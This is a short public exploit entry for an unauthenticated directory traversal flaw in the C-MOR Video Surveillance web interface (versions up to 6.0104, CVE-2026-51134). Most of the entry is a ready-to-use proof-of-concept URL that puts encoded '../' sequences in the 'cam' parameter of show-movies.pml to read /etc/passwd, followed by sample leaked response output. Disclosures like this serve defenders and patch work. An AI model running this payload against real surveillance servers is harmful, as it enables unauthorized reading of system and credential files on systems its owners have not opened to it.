# Exploit Title: C-MOR  6.0104 - Directory Traversal
# Google Dork: N/A
# Date: 2026-07-23
# Exploit Author: Fadi Kaakahji (Alb Cyber Guards)
# Vendor Homepage: https://www.c-mor.com
# Software Link: https://www.c-mor.com/
# Version: <= 6.0104
# Tested on: C-MOR Video Surveillance V6.0104
# CVE: CVE-2026-51134

# 1. Description:
# The C-MOR Video Surveillance web interface (up to version 6.0104) by za-internet GmbH 
# is vulnerable to Directory/Path Traversal. Unauthenticated attackers can access 
# arbitrary system files via specially crafted HTTP requests using directory 
# traversal sequences (e.g., '../') in the 'cam' parameter of the show-movies.pml component.

# 2. Proof of Concept (PoC):
# Retrieve the /etc/passwd file from the target server:

http://[TARGET]/show-movies.pml?cam=cam5..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&days=1100

# Vulnerable Code in Response (Example for /etc/passwd):
# <span class=hl>&nbsp;Aufnahmen Kamera 5../../../../../../../../../../../../../../../../etc/passwd, Standort: root:x:0:0:root:/root:/bin/bash</span>